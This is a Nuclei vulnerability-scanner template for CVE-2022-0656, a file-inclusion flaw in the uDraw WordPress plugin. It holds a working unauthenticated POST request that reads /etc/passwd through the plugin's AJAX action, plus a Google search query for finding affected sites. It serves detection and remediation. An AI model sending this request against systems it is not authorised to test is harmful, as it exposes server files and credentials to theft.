nuclei-templates/http/cves/2022/CVE-2022-0656.yaml

54 lines
2.2 KiB
YAML
Raw Normal View History

2022-07-11 17:43:37 +00:00
id: CVE-2022-0656
info:
name: uDraw <3.3.3 - Local File Inclusion
2022-07-11 17:43:37 +00:00
author: akincibor
severity: high
description: uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
2023-09-27 15:51:13 +00:00
impact: |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade uDraw to version 3.3.3 or later to mitigate the vulnerability.
2022-07-11 17:43:37 +00:00
reference:
- https://wpscan.com/vulnerability/925c4c28-ae94-4684-a365-5f1e34e6c151
- https://nvd.nist.gov/vuln/detail/CVE-2022-0656
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-0656
cwe-id: CWE-552
epss-score: 0.00684
epss-percentile: 0.77939
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:webtoprint:web_to_print_shop\:udraw:*:*:*:*:*:wordpress:*:*
2022-07-11 17:44:56 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: webtoprint
product: web_to_print_shop\
2023-09-06 11:59:08 +00:00
google-query: inurl:"/wp-content/plugins/udraw"
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,wp,wordpress,wp-plugin,unauth,lfi,udraw,wpscan,webtoprint
2022-07-11 17:43:37 +00:00
http:
2022-07-11 17:43:37 +00:00
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=udraw_convert_url_to_base64&url=/etc/passwd
matchers-condition: and
matchers:
- type: word
words:
- "cm9vd" # root in base64
- "data:image\\/;base64"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100e1754a9ee9845d4b7fff44b3fa86b0f357226bfe6c8e1a2188eec44df0349cc6022100821681fd1c6b34cb907739069bef0ac84c01aefb733c8bda81ee38300e2520d6:922c64590222798bb761d5b6d8e72950